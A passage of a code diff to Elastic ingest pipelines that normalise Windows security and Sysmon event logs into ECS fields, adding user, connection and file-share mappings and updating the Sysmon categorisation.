"4738", "4740", "4767", "4798", "4817", + "4907", "4797"].contains(ctx.event.code)) { + return; + } + if (ctx.user == null) { + HashMap hm = new HashMap(); + ctx.put("user", hm); + } + if (ctx.user?.target == null) { + HashMap hm = new HashMap(); + ctx.user.put("target", hm); + } + def userId = ctx.winlog?.event_data?.TargetSid; + if (userId != null && userId != "" && userId != "-") ctx.user.target.id = userId; + def userName = ctx.winlog?.event_data?.TargetUserName; + if (userName != null && userName != "" && userName != "-") { + ctx.user.target.name = userName; + def parts = userName.splitOnToken("@"); + if (parts.length > 1) { + ctx.user.target.name = parts[0]; + } + if (ctx.related?.user == null) { + ArrayList al = new ArrayList(); + ctx.related.put("user", al); + } + if (!ctx.related.user.contains(ctx.user.target.name)) { + ctx.related.user.add(ctx.user.target.name); + } + } + def userDomain = ctx.winlog?.event_data?.TargetDomainName; + if (userDomain != null && userDomain != "" && userDomain != "-") ctx.user.target.domain = userDomain; + if (ctx.user?.target != null && ctx.user.target.size() == 0) ctx.user.remove("target"); + + - script: + lang: painless + ignore_failure: false + tag: Copy Target User to Effective + description: Copy Target User to Effective + source: |- + if (ctx.event?.code == null || + !["4648", "4688"].contains(ctx.event.code)) { + return; + } + if (ctx.user == null) { + HashMap hm = new HashMap(); + ctx.put("user", hm); + } + if (ctx.user?.effective == null) { + HashMap hm = new HashMap(); + ctx.user.put("effective", hm); + } + def userId = ctx.winlog?.event_data?.TargetUserSid; + if (userId != null && userId != "" && userId != "-") ctx.user.effective.id = userId; + def userName = ctx.winlog?.event_data?.TargetUserName; + if (userName != null && userName != "" && userName != "-") { + ctx.user.effective.name = userName; + def parts = userName.splitOnToken("@"); + if (parts.length > 1) { + ctx.user.effective.name = parts[0]; + } + if (ctx.related?.user == null) { + ArrayList al = new ArrayList(); + ctx.related.put("user", al); + } + if (!ctx.related.user.contains(ctx.user.effective.name)) { + ctx.related.user.add(ctx.user.effective.name); + } + } + def userDomain = ctx.winlog?.event_data?.TargetDomainName; + if (userDomain != null && userDomain != "" && userDomain != "-") ctx.user.effective.domain = userDomain; + if (ctx.user?.effective != null && ctx.user.effective.size() == 0) ctx.user.remove("effective"); + - script: lang: painless ignore_failure: false tag: Copy Subject User from user_data description: Copy Subject User from user_data source: |- - if (ctx?.event?.code == null || + if (ctx.event?.code == null || !["1102"].contains(ctx.event.code)) { return; } - if (ctx?.winlog?.user_data?.SubjectUserSid != null) { - if (ctx?.user == null) { + if (ctx.winlog?.user_data?.SubjectUserSid != null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } ctx.user.put("id", ctx.winlog.user_data.SubjectUserSid); } - if (ctx?.winlog?.user_data?.SubjectUserName != null) { - if (ctx?.user == null) { + if (ctx.winlog?.user_data?.SubjectUserName != null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } - if (ctx?.related == null) { + if (ctx.related == null) { HashMap hm = new HashMap(); ctx.put("related", hm); } - if (ctx?.related?.user == null) { + if (ctx.related?.user == null) { ArrayList al = new ArrayList(); ctx.related.put("user", al); } @@ -3349,8 +3548,8 @@ processors: ctx.related.user.add(ctx.winlog.user_data.SubjectUserName); } } - if (ctx?.winlog?.user_data?.SubjectDomainName != null) { - if (ctx?.user == null) { + if (ctx.winlog?.user_data?.SubjectDomainName != null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } @@ -3367,7 +3566,7 @@ processors: copy_from: winlog.user_data.SubjectLogonId ignore_failure: true if: |- - ctx?.event?.code != null && + ctx.event?.code != null && ["1102"].contains(ctx.event.code) - script: @@ -3376,7 +3575,7 @@ processors: tag: Rename Common Auth Fields description: Rename Common Auth Fields source: |- - if (ctx?.event?.code == null || + if (ctx.event?.code == null || !["1100", "1102", "1104", "1105", "1108", "4624", "4648", "4625", "4670", "4673", "4674", "4689", "4697", "4719", "4720", "4722", "4723", "4724", "4725", "4726", "4727", "4728", "4729", "4730", @@ -3385,11 +3584,11 @@ processors: "4749", "4750", "4751", "4752", "4753", "4754", "4755", "4756", "4757", "4758", "4759", "4760", "4761", "4762", "4763", "4764", "4767", "4768", "4769", "4770", "4771", "4798", "4799", "4817", - "4904", "4905", "4907", "4912"].contains(ctx.event.code)) { + "4904", "4905", "4907", "4912", "5140", "5145"].contains(ctx.event.code)) { return; } - if (ctx?.winlog?.event_data?.ProcessId != null) { - if (ctx?.process == null) { + if (ctx.winlog?.event_data?.ProcessId != null) { + if (ctx.process == null) { HashMap hm = new HashMap(); ctx.put("process", hm); } @@ -3401,49 +3600,148 @@ processors: } ctx.winlog.event_data.remove("ProcessId"); } - if (ctx?.winlog?.event_data?.ProcessName != null) { - if (ctx?.process == null) { + if (ctx.winlog?.event_data?.ProcessName != null) { + if (ctx.process == null) { HashMap hm = new HashMap(); ctx.put("process", hm); } ctx.process.put("executable", ctx.winlog.event_data.ProcessName); ctx.winlog.event_data.remove("ProcessName"); } - if (ctx?.winlog?.event_data?.IpAddress != null && + if (ctx.winlog?.event_data?.IpAddress != null && ctx.winlog.event_data.IpAddress != "-") { - if (ctx?.source == null) { + if (ctx.source == null) { HashMap hm = new HashMap(); ctx.put("source", hm); } ctx.source.put("ip", ctx.winlog.event_data.IpAddress); ctx.winlog.event_data.remove("IpAddress"); } - if (ctx?.winlog?.event_data?.IpPort != null && ctx.winlog.event_data.IpPort != "-") { - if (ctx?.source == null) { + if (ctx.winlog?.event_data?.IpPort != null && ctx.winlog.event_data.IpPort != "-") { + if (ctx.source == null) { HashMap hm = new HashMap(); ctx.put("source", hm); } ctx.source.put("port", Long.decode(ctx.winlog.event_data.IpPort)); ctx.winlog.event_data.remove("IpPort"); } - if (ctx?.winlog?.event_data?.WorkstationName != null) { - if (ctx?.source == null) { + if (ctx.winlog?.event_data?.WorkstationName != null) { + if (ctx.source == null) { HashMap hm = new HashMap(); ctx.put("source", hm); } ctx.source.put("domain", ctx.winlog.event_data.WorkstationName); ctx.winlog.event_data.remove("WorkstationName"); } - if (ctx?.winlog?.event_data?.ClientAddress != null && - ctx.winlog.event_data.ClientAddress != "-") { - if (ctx?.related == null) { + if (ctx.winlog?.event_data?.ClientAddress != null && + ctx.winlog.event_data.ClientAddress != "-" && + ctx.winlog.event_data.ClientAddress != "Unknown") { + // Correct invalid IP address "LOCAL" + if (ctx.winlog.event_data.ClientAddress == "LOCAL") { + ctx.winlog.event_data.ClientAddress = "127.0.0.1"; + } + if (ctx.related == null) { HashMap hm = new HashMap(); ctx.put("related", hm); } ctx.related.put("ip", ctx.winlog.event_data.ClientAddress); ctx.winlog.event_data.remove("ClientAddress"); } - if (ctx?.process?.name == null && ctx?.process?.executable != null) { + if (ctx.process?.name == null && ctx.process?.executable != null) { + def parts = ctx.process.executable.splitOnToken("\\"); + ctx.process.put("name", parts[-1]); + } + + - script: + lang: painless + ignore_failure: false + tag: Add Connection Events + description: Add Connection Events + source: |- + if (ctx.event?.code == null || + !["5152", "5156", "5157", "5158"].contains(ctx.event.code)) { + return; + } + + // DestAddress to destination.ip and related.ip + if (ctx.winlog?.event_data?.DestAddress != null && + ctx.winlog.event_data.DestAddress != "-") { + if (ctx.destination == null) { + HashMap hm = new HashMap(); + ctx.put("destination", hm); + } + if (ctx.related == null) { + HashMap hm = new HashMap(); + ctx.put("related", hm); + } + if (ctx.related?.ip == null) { + ArrayList al = new ArrayList(); + ctx.related.put("ip", al); + } + ctx.destination.put("ip", ctx.winlog.event_data.DestAddress); + if (!ctx.related.ip.contains(ctx.winlog.event_data.DestAddress)) { + ctx.related.ip.add(ctx.winlog.event_data.DestAddress); + } + ctx.winlog.event_data.remove("DestAddress"); + } + + // SourceAddress to source.ip and related.ip + if (ctx.winlog?.event_data?.SourceAddress != null && + ctx.winlog.event_data.SourceAddress != "-") { + if (ctx.source == null) { + HashMap hm = new HashMap(); + ctx.put("source", hm); + } + if (ctx.related == null) { + HashMap hm = new HashMap(); + ctx.put("related", hm); + } + if (ctx.related?.ip == null) { + ArrayList al = new ArrayList(); + ctx.related.put("ip", al); + } + ctx.source.put("ip", ctx.winlog.event_data.SourceAddress); + if (!ctx.related.ip.contains(ctx.winlog.event_data.SourceAddress)) { + ctx.related.ip.add(ctx.winlog.event_data.SourceAddress); + } + ctx.winlog.event_data.remove("SourceAddress"); + } + // DestPort to destination.port + if (ctx.winlog?.event_data?.DestPort != null && ctx.winlog.event_data.DestPort != "-") { + if (ctx.destination == null) { + HashMap hm = new HashMap(); + ctx.put("destination", hm); + } + ctx.destination.put("port", Long.decode(ctx.winlog.event_data.DestPort)); + ctx.winlog.event_data.remove("DestPort"); + } + // SourcePort to source.port + if (ctx.winlog?.event_data?.SourcePort != null && ctx.winlog.event_data.SourcePort != "-") { + if (ctx.source == null) { + HashMap hm = new HashMap(); + ctx.put("source", hm); + } + ctx.source.put("port", Long.decode(ctx.winlog.event_data.SourcePort)); + ctx.winlog.event_data.remove("SourcePort"); + } + // Protocol to network.iana_number of type keyword + if (ctx.winlog?.event_data?.Protocol != null && ctx.winlog.event_data.Protocol != "-") { + if (ctx.network == null) { + HashMap hm = new HashMap(); + ctx.put("network", hm); + } + ctx.network.put("iana_number", ctx.winlog.event_data.Protocol); + } + // Application to process.executable and process.name + if (ctx.winlog?.event_data?.Application != null && ctx.winlog?.event_data?.Application != "-") { + if (ctx.process == null) { + HashMap hm = new HashMap(); + ctx.put("process", hm); + } + ctx.process.put("executable", ctx.winlog.event_data.Application); + ctx.winlog.event_data.remove("Application"); + } + if (ctx.process?.name == null && ctx.process?.executable != null) { def parts = ctx.process.executable.splitOnToken("\\"); ctx.process.put("name", parts[-1]); } @@ -3454,12 +3752,12 @@ processors: tag: Process Event 4688 description: Process Event 4688 source: |- - if (ctx?.event?.code == null || + if (ctx.event?.code == null || !["4688"].contains(ctx.event.code)) { return; } - if (ctx?.winlog?.event_data?.NewProcessId != null) { - if (ctx?.process == null) { + if (ctx.winlog?.event_data?.NewProcessId != null) { + if (ctx.process == null) { HashMap hm = new HashMap(); ctx.put("process", hm); } @@ -3471,40 +3769,40 @@ processors: } ctx.winlog.event_data.remove("NewProcessId"); } - if (ctx?.winlog?.event_data?.NewProcessName != null) { - if (ctx?.process == null) { + if (ctx.winlog?.event_data?.NewProcessName != null) { + if (ctx.process == null) { HashMap hm = new HashMap(); ctx.put("process", hm); } ctx.process.put("executable", ctx.winlog.event_data.NewProcessName); ctx.winlog.event_data.remove("NewProcessName"); } - if (ctx?.winlog?.event_data?.ParentProcessName != null) { - if (ctx?.process == null) { + if (ctx.winlog?.event_data?.ParentProcessName != null) { + if (ctx.process == null) { HashMap hm = new HashMap(); ctx.put("process", hm); } - if (ctx?.process?.parent == null) { + if (ctx.process?.parent == null) { HashMap hm = new HashMap(); ctx.process.put("parent", hm); } ctx.process.parent.put("executable", ctx.winlog.event_data.ParentProcessName); ctx.winlog.event_data.remove("ParentProcessName"); } - if (ctx?.process?.name == null && ctx?.process?.executable != null) { + if (ctx.process?.name == null && ctx.process?.executable != null) { def parts = ctx.process.executable.splitOnToken("\\"); ctx.process.put("name", parts[-1]); } - if (ctx?.process?.parent?.name == null && ctx?.process?.parent?.executable != null) { + if (ctx.process?.parent?.name == null && ctx.process?.parent?.executable != null) { def parts = ctx.process.parent.executable.splitOnToken("\\"); ctx.process.parent.put("name", parts[-1]); } - if (ctx?.winlog?.event_data?.ProcessId != null) { - if (ctx?.process == null) { + if (ctx.winlog?.event_data?.ProcessId != null) { + if (ctx.process == null) { HashMap hm = new HashMap(); ctx.put("process", hm); } - if (ctx?.process?.parent == null) { + if (ctx.process?.parent == null) { HashMap hm = new HashMap(); ctx.process.put("parent", hm); } @@ -3515,11 +3813,11 @@ processors: ctx.process.parent.put("pid", ctx.winlog.event_data.ProcessId); } } - if (ctx?.winlog?.event_data?.CommandLine != null) { + if (ctx.winlog?.event_data?.CommandLine != null) { int start = 0; int end = 0; boolean in_quote = false; - ArrayList al = new ArrayList(); + ArrayList al = new ArrayList(); for (int i = 0; i < ctx.winlog.event_data.CommandLine.length(); i++) { end = i; if (Character.compare(ctx.winlog.event_data.CommandLine.charAt(i), "\"".charAt(0)) == 0) { @@ -3537,20 +3835,20 @@ processors: al.add(ctx.winlog.event_data.CommandLine.substring(start, end + 1)); } } - if (ctx?.process == null) { + if (ctx.process == null) { HashMap hm = new HashMap(); ctx.put("process", hm); } ctx.process.put("args", al); ctx.process.put("command_line", ctx.winlog.event_data.CommandLine); } - if ((ctx?.winlog?.event_data?.TargetUserName != null) && + if ((ctx.winlog?.event_data?.TargetUserName != null) && (!ctx.winlog.event_data.TargetUserName.equals("-"))) { - if (ctx?.related == null) { + if (ctx.related == null) { HashMap hm = new HashMap(); ctx.put("related", hm); } - if (ctx?.related?.user == null) { + if (ctx.related?.user == null) { ArrayList al = new ArrayList(); ctx.related.put("user", al); } @@ -3564,9 +3862,9 @@ processors: value: '{{winlog.event_data.SubjectUserName}}' allow_duplicates: false if: |- - ctx?.event?.code != null && - ["4624", "4648"].contains(ctx.event.code) && - ctx?.winlog?.event_data?.SubjectUserName != null && + ctx.event?.code != null && + ["4624", "4648", "4797", "5379", "5380", "5381", "5382"].contains(ctx.event.code) && + ctx.winlog?.event_data?.SubjectUserName != null && ctx.winlog.event_data.SubjectUserName != "-" - append: @@ -3574,26 +3872,36 @@ processors: value: '{{winlog.event_data.TargetUserName}}' allow_duplicates: false if: |- - ctx?.event?.code != null && + ctx.event?.code != null && ["4688", "4720", "4722", "4723", "4724", "4725", "4726", "4738", - "4740", "4767", "4798"].contains(ctx.event.code) && - ctx?.winlog?.event_data?.TargetUserName != null && + "4740", "4767", "4797", "4798"].contains(ctx.event.code) && + ctx.winlog?.event_data?.TargetUserName != null && ctx.winlog.event_data.TargetUserName != "-" - split: field: winlog.event_data.PrivilegeList separator: "\\s+" if: |- - ctx?.event?.code != null && + ctx.event?.code != null && ["4672", "4673", "4674", "4741", "4742", "4743"].contains(ctx.event.code) && - ctx?.winlog?.event_data?.PrivilegeList != null + ctx.winlog?.event_data?.PrivilegeList != null + + - set: + field: user.target.name + copy_from: winlog.event_data.OldTargetUserName + ignore_empty_value: true + + - set: + field: user.changes.name + copy_from: winlog.event_data.NewTargetUserName + ignore_empty_value: true - append: field: related.user value: '{{winlog.event_data.NewTargetUserName}}' allow_duplicates: false if: |- - ctx?.winlog?.event_data?.NewTargetUserName != null && + ctx.winlog?.event_data?.NewTargetUserName != null && ctx.winlog.event_data.NewTargetUserName != "-" - append: @@ -3601,28 +3909,29 @@ processors: value: '{{winlog.event_data.OldTargetUserName}}' allow_duplicates: false if: |- - ctx?.winlog?.event_data?.OldTargetUserName != null && + ctx.winlog?.event_data?.OldTargetUserName != null && ctx.winlog.event_data.OldTargetUserName != "-" - - gsub: - field: source.ip - pattern: '^\[?::ffff:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(?:\](?::[0-9]+)?)?$' - replacement: '$1' - ignore_missing: true - - - append: - field: related.ip - value: '{{source.ip}}' - allow_duplicates: false - if: |- - ctx?.source?.ip != null && - ctx.source.ip != "-" - script: lang: painless ignore_failure: false tag: Object Policy Change and SidListDesc description: Object Policy Change and SidListDesc + # SDDL Ace Types + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4715 + # https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/f4296d69-1c0f-491f-9587-a960b292d070 + # SDDL Permissions + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4715 + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/f4296d69-1c0f-491f-9587-a960b292d070 + # Known SIDs + # https://support.microsoft.com/en-au/help/243330/well-known-security-identifier"S-in-window"S-operating-systems + # https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings + # Domain-specific SIDs + # https://support.microsoft.com/en-au/help/243330/well-known-security-identifiers-in-windows-operating-systems + # Object Permission Flags + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b params: AccountSIDDescription: AO: Account operators @@ -3829,7 +4138,7 @@ processors: HashMap translateACL(def dacl, def params) { def aceArray = dacl.splitOnToken(";"); HashMap hm = new HashMap(); - + if (aceArray.length >= 6 ) { hm.put("grantee", translateSID(aceArray[5], params)); } @@ -3851,7 +4160,7 @@ processors: hm.put("perms", al); } } - return hm; + return hm; } String translateSID(def sid, def params) { if (!params.AccountSIDDescription.containsKey(sid)) { @@ -3867,8 +4176,7 @@ processors: } return params.AccountSIDDescription[sid]; } - - + void enrichSDDL(def sddlStr, def Sd, def params, def ctx) { Pattern sdOwnerPattern = /^O\:[A-Z]{2}/; Matcher sdOwnerMatcher = sdOwnerPattern.matcher(sddlStr); @@ -3891,11 +4199,11 @@ processors: def newDacl = translateACL(dacListMatcher.group(0).replace("(","").replace(")",""), params); ctx.winlog.event_data.put(Sd + "Dacl" + i.toString(), newDacl['grantee'] + " :" + newDacl['type'] + " (" + newDacl['perms'] + ")"); if (["Administrator", "Guest", "KRBTGT"].contains(newDacl['grantee'])) { - if (ctx?.related == null) { + if (ctx.related == null) { HashMap hm = new HashMap(); ctx.put("related", hm); } - if (ctx?.related?.user == null) { + if (ctx.related?.user == null) { ArrayList al = new ArrayList(); ctx.related.put("user", al); } @@ -3915,11 +4223,11 @@ processors: def newSacl = translateACL(sacListMatcher.group(0).replace("(","").replace(")",""), params); ctx.winlog.event_data.put(Sd + "Sacl" + i.toString(), newSacl['grantee'] + " :" + newSacl['type'] + " (" + newSacl['perms'] + ")"); if (["Administrator", "Guest", "KRBTGT"].contains(newSacl['grantee'])) { - if (ctx?.related == null) { + if (ctx.related == null) { HashMap hm = new HashMap(); ctx.put("related", hm); } - if (ctx?.related?.user == null) { + if (ctx.related?.user == null) { ArrayList al = new ArrayList(); ctx.related.put("user", al); } @@ -3940,68 +4248,127 @@ processors: } ctx.winlog.event_data.put("SidListDesc", al); } - - if (ctx?.event?.code == null || + if (ctx.winlog?.event_data?.RemoteMachineID != null) { + ctx.winlog.event_data.put("RemoteMachineDescription", params.AccountSIDDescription[ctx.winlog.event_data.RemoteMachineID]); + } + if (ctx.winlog?.event_data?.RemoteUserID != null) { + ctx.winlog.event_data.put("RemoteUserDescription", params.AccountSIDDescription[ctx.winlog.event_data.RemoteUserID]); + } + if (ctx.event?.code == null || !["4670", "4817", "4907", "4908"].contains(ctx.event.code)) { return; } - if (ctx?.winlog?.event_data?.OldSd != null) { + if (ctx.winlog?.event_data?.OldSd != null) { enrichSDDL(ctx.winlog.event_data.OldSd, "OldSd", params, ctx); } - if (ctx?.winlog?.event_data?.NewSd != null) { + if (ctx.winlog?.event_data?.NewSd != null) { enrichSDDL(ctx.winlog.event_data.NewSd, "NewSd", params, ctx); } - if (ctx?.winlog?.event_data?.SidList != null) { + if (ctx.winlog?.event_data?.SidList != null) { splitSidList(ctx.winlog.event_data.SidList, params, ctx); } - - convert: - field: winlog.record_id - type: string - ignore_missing: true - - - convert: - field: winlog.event_id - type: string - ignore_missing: true + # + # Populate network.transport from network.iana_number. + # + - script: + if: "ctx.network?.iana_number != null && ctx.network?.transport == null" + lang: painless + params: + "1": icmp + "2": igmp + "4": ipv4 + "6": tcp + "8": egp + "9": igp + "12": pup + "17": udp + "27": rdp + "28": irtp + "33": dccp + "35": idpr + "41": ipv6 + "43": ipv6-route + "44": ipv6-frag + "46": rsvp + "47": gre + "50": esp + "58": ipv6-icmp + "59": ipv6-nonxt + "60": ipv6-opts + source: > + if (ctx.network?.iana_number == null) { + return; + } + def t = params.get(ctx.network.iana_number); + if (t == null) { + return; + } + ctx.network.put("transport", t) - set: - field: ecs.version - value: '8.0.0' - + field: file.name + copy_from: winlog.event_data.RelativeTargetName + if: |- + ctx.event?.code != null && + ["5140", "5145"].contains(ctx.event.code) && + ctx.winlog?.event_data?.RelativeTargetName != null && + ctx.winlog.event_data.RelativeTargetName != "" - set: - field: log.level - copy_from: winlog.level - ignore_empty_value: true + field: file.directory + copy_from: winlog.event_data.ShareLocalPath + if: |- + ctx.event?.code != null && + ["5140", "5145"].contains(ctx.event.code) && + ctx.winlog?.event_data?.ShareLocalPath != null && + ctx.winlog.event_data.ShareLocalPath != "" + - set: + field: file.path + value: "{{file.directory}}\\{{file.name}}" + if: ctx.file?.name != null && ctx.file?.directory != null + - set: + field: file.directory + copy_from: winlog.event_data.ShareLocalPath + if: |- + ctx.event?.code != null && + ["5140", "5145"].contains(ctx.event.code) && + ctx.winlog?.event_data?.ShareLocalPath != null && + ctx.winlog.event_data.ShareLocalPath != "" + - set: + field: file.target_path + value: "{{winlog.event_data.ShareName}}\\{{file.name}}" + if: |- + ctx.event?.code != null && + ["5140", "5145"].contains(ctx.event.code) && + ctx.winlog?.event_data?.ShareName != null && + ctx.winlog.event_data.ShareName != "" && + ctx.file?.name != null + - script: + description: Adds file information. + lang: painless + if: ctx.file?.name != null + source: |- + def extIdx = ctx.file.name.lastIndexOf("."); + if (extIdx > -1) { + ctx.file.extension = ctx.file.name.substring(extIdx+1); + } + - rename: + field: winlog.event_data.DirectionDescription + target_field: network.direction + ignore_missing: true + - lowercase: + field: network.direction + ignore_missing: true + - community_id: + ignore_missing: true ignore_failure: true - if: ctx?.winlog?.level != "" - - - date: - field: winlog.time_created - tag: "time_created_date" - formats: - - ISO8601 - if: ctx.winlog?.time_created != null - on_failure: - - remove: - field: winlog.time_created - ignore_failure: true - - append: - field: error.message - value: "fail-{{{ _ingest.on_failure_processor_tag }}}" - - fail: - message: "Processor {{ _ingest.on_failure_processor_type }} with tag {{ _ingest.on_failure_processor_tag }} in pipeline {{ _ingest.on_failure_pipeline }} failed with message: {{ _ingest.on_failure_message }}" - - #Cleanup _temp fields as it is not needed anymore - remove: - field: _temp + field: + - _temp ignore_missing: true - ignore_failure: true - + on_failure: - set: - field: event.kind - value: pipeline_error - - append: field: error.message - value: "{{{ _ingest.on_failure_message }}}" + value: |- + Processor "{{ _ingest.on_failure_processor_type }}" with tag "{{ _ingest.on_failure_processor_tag }}" in pipeline "{{ _ingest.on_failure_pipeline }}" failed with message "{{ _ingest.on_failure_message }}" diff --git a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/sysmon_operational.yml b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/sysmon_operational.yml index 4537af93936..af1bcef0e98 100644 --- a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/sysmon_operational.yml +++ b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/sysmon_operational.yml @@ -5,7 +5,7 @@ processors: - set: field: ecs.version - value: '8.0.0' + value: '8.17.0' - script: description: Remove all empty values from event_data. lang: painless @@ -15,7 +15,7 @@ processors: target_field: log.level ignore_missing: true ignore_failure: true - if: ctx?.winlog?.level != "" + if: ctx.winlog?.level != "" - date: field: winlog.time_created target_field: event.created @@ -38,7 +38,7 @@ processors: - yyyy-MM-dd HH:mm:ss.SSS timezone: UTC ignore_failure: true - if: ctx?.winlog?.event_data?.UtcTime != null + if: ctx.winlog?.event_data?.UtcTime != null - set: field: event.kind @@ -168,13 +168,13 @@ processors: category: - process type: - - creation + - info action: 'WmiEvent (WmiEventFilter activity detected)' "20": category: - process type: - - creation + - change action: 'WmiEvent (WmiEventConsumer activity detected)' "21": category: @@ -217,14 +217,14 @@ processors: - file type: - creation - - denied + outcome: + - failure action: 'FileBlockExecutable' "28": category: - file type: - deletion - - denied action: 'FileBlockShredding' "29": category: @@ -235,8 +235,8 @@ processors: "255": category: - process - type: - - error + outcome: + - failure action: 'Error' tag: Add ECS categorization fields source: |- @@ -263,7 +263,7 @@ processors: target_field: rule.name ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.RuleName != null && ctx?.winlog?.event_data?.RuleName != "" && ctx?.winlog?.event_data?.RuleName != "-" + if: ctx.winlog?.event_data?.RuleName != null && ctx.winlog?.event_data?.RuleName != "" && ctx.winlog?.event_data?.RuleName != "-" - rename: @@ -271,24 +271,24 @@ processors: target_field: message ignore_missing: true ignore_failure: true - if: ctx.event.code == "25" && ctx?.winlog?.event_data?.Type != null && ctx?.winlog?.event_data?.Type != "" + if: ctx.event.code == "25" && ctx.winlog?.event_data?.Type != null && ctx.winlog?.event_data?.Type != "" - rename: field: winlog.event_data.Hash target_field: winlog.event_data.Hashes ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Hash != null && ctx?.winlog?.event_data?.Hash != "" + if: ctx.winlog?.event_data?.Hash != null && ctx.winlog?.event_data?.Hash != "" - kv: field: winlog.event_data.Hashes target_field: _temp.hashes field_split: "," value_split: "=" ignore_failure: true - if: ctx?.winlog?.event_data?.Hashes != null + if: ctx.winlog?.event_data?.Hashes != null - script: lang: painless - if: ctx?._temp?.hashes != null + if: ctx._temp?.hashes != null source: |- def hashIsEmpty(String hash) { if (hash == "") { @@ -328,8 +328,8 @@ processors: field: _temp.hashes target_field: process.hash if: |- - ctx?._temp?.hashes != null && - ["1", "23", "24", "25"].contains(ctx.event.code) + ctx._temp?.hashes != null && + ["1", "23", "24", "25", "26"].contains(ctx.event.code) - rename: field: process.hash.imphash target_field: process.pe.imphash @@ -340,101 +340,101 @@ processors: target_field: process.entity_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.ProcessGuid != null && ctx?.winlog?.event_data?.ProcessGuid != "" + if: ctx.winlog?.event_data?.ProcessGuid != null && ctx.winlog?.event_data?.ProcessGuid != "" - convert: field: winlog.event_data.ProcessId target_field: process.pid type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ProcessId != null && ctx?.winlog?.event_data?.ProcessId != "" + if: ctx.winlog?.event_data?.ProcessId != null && ctx.winlog?.event_data?.ProcessId != "" - rename: field: winlog.event_data.Image target_field: process.executable ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Image != null && ctx?.winlog?.event_data?.Image != "" + if: ctx.winlog?.event_data?.Image != null && ctx.winlog?.event_data?.Image != "" - rename: field: winlog.event_data.SourceProcessGuid target_field: process.entity_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.SourceProcessGuid != null && ctx?.winlog?.event_data?.SourceProcessGuid != "" + if: ctx.winlog?.event_data?.SourceProcessGuid != null && ctx.winlog?.event_data?.SourceProcessGuid != "" - rename: field: winlog.event_data.SourceProcessGUID target_field: process.entity_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.SourceProcessGUID != null && ctx?.winlog?.event_data?.SourceProcessGUID != "" + if: ctx.winlog?.event_data?.SourceProcessGUID != null && ctx.winlog?.event_data?.SourceProcessGUID != "" - convert: field: winlog.event_data.SourceProcessId target_field: process.pid type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.SourceProcessId != null && ctx?.winlog?.event_data?.SourceProcessId != "" + if: ctx.winlog?.event_data?.SourceProcessId != null && ctx.winlog?.event_data?.SourceProcessId != "" - convert: field: winlog.event_data.SourceThreadId target_field: process.thread.id type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.SourceThreadId != null && ctx?.winlog?.event_data?.SourceThreadId != "" + if: ctx.winlog?.event_data?.SourceThreadId != null && ctx.winlog?.event_data?.SourceThreadId != "" - rename: field: winlog.event_data.SourceImage target_field: process.executable ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.SourceImage != null && ctx?.winlog?.event_data?.SourceImage != "" + if: ctx.winlog?.event_data?.SourceImage != null && ctx.winlog?.event_data?.SourceImage != "" - rename: field: winlog.event_data.Destination target_field: process.executable ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Destination != null && ctx?.winlog?.event_data?.Destination != "" + if: ctx.winlog?.event_data?.Destination != null && ctx.winlog?.event_data?.Destination != "" - rename: field: winlog.event_data.CommandLine target_field: process.command_line ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.CommandLine != null && ctx?.winlog?.event_data?.CommandLine != "" + if: ctx.winlog?.event_data?.CommandLine != null && ctx.winlog?.event_data?.CommandLine != "" - rename: field: winlog.event_data.CurrentDirectory target_field: process.working_directory ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.CurrentDirectory != null && ctx?.winlog?.event_data?.CurrentDirectory != "" + if: ctx.winlog?.event_data?.CurrentDirectory != null && ctx.winlog?.event_data?.CurrentDirectory != "" - rename: field: winlog.event_data.ParentProcessGuid target_field: process.parent.entity_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.ParentProcessGuid != null && ctx?.winlog?.event_data?.ParentProcessGuid != "" + if: ctx.winlog?.event_data?.ParentProcessGuid != null && ctx.winlog?.event_data?.ParentProcessGuid != "" - convert: field: winlog.event_data.ParentProcessId target_field: process.parent.pid type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ParentProcessId != null && ctx?.winlog?.event_data?.ParentProcessId != "" + if: ctx.winlog?.event_data?.ParentProcessId != null && ctx.winlog?.event_data?.ParentProcessId != "" - rename: field: winlog.event_data.ParentImage target_field: process.parent.executable ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.ParentImage != null && ctx?.winlog?.event_data?.ParentImage != "" + if: ctx.winlog?.event_data?.ParentImage != null && ctx.winlog?.event_data?.ParentImage != "" - rename: field: winlog.event_data.ParentCommandLine target_field: process.parent.command_line ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.ParentCommandLine != null && ctx?.winlog?.event_data?.ParentCommandLine != "" + if: ctx.winlog?.event_data?.ParentCommandLine != null && ctx.winlog?.event_data?.ParentCommandLine != "" - rename: field: winlog.event_data.OriginalFileName target_field: process.pe.original_file_name ignore_missing: true ignore_failure: true - if: 